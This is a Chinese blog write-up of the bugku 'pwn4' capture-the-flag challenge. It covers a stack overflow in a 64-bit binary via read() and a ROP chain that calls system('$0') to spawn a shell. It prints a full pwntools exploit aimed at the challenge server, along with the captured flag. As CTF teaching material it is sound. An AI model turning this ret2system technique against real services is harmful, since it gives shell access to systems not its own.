bugku pwn4 学习

7 篇文章 0 订阅
6 篇文章 0 订阅

2019-08-25 bugku pwn4 学习

1.拿到题目先file 一下文件看看文件属性
bkp4-1.PNG

查看得知是64位动态链接库的文件。
2.checksec 查看是否开启什么保护
bkp4-2.PNG
然而并没有什么保护
PIE 保护指定是对代码段进行保护
3.IDA查看内容
bkp4-3.PNG

看到了敏感函数system,看着想办法跳转
4.查看main函数,有栈溢出的敏感函数 read
bkp4-4.PNG

想办法利用read 函数
5.查看read函数栈中内容
bkp4-5.PNG

完全能够进行溢出
6.由于system中没有’bin/sh’所以并不能直接跳转,这里找找巧看到了’$0’

bkp4-8.PNG

bkp4-6.PNGbkp4-7.PNG

因为在某些人的linux 中’$0’长长被用于bash的环境变量,也就是说:

system("$0")  == system('bin/sh')

所以我们可以构造system(“bin/sh”)来进行系统调用。但是由于我们只能调用一次所以我们可以使用rdi和ret 跳转进行
注意:32位利用栈传参,64位利用寄存器传参,rdi,rsi,rdx,rcx,r8,r9,六个寄存器进行传参,所以通过跳转 pop rdi;ret 来进行传参 最后传入system函数地址进行跳转
所以可以构建payload,地址一定需要找正确:

from pwn import *
ip = "114.116.54.89"
port = 10004
p=remote(ip,port)
#p = process("./pwn4")
def debug():
    gdb.attach(p)
    raw_input("debug")
elf = ELF("./pwn4")
context.log_level = 'debug'
pop_rdi = 0x00000000004007d3 
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(0x60111f) +p64(elf.plt["system"])  
p.recv()
p.sendline(payload)
p.interactive()

执行命令:
bkp4-9.PNG

可以直接拿到flag:

flag{264bc50112318cd6e1a67b0724d6d3af}

?:这是题目的第一个解题方法,第二个方法可以使用 puts泄露libc函数地址,在libc中找到’bin/sh’的偏移量,就可以进行调用,这个方法由于栈只有0x10大小所以就放弃了,因为栈中读不进去。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值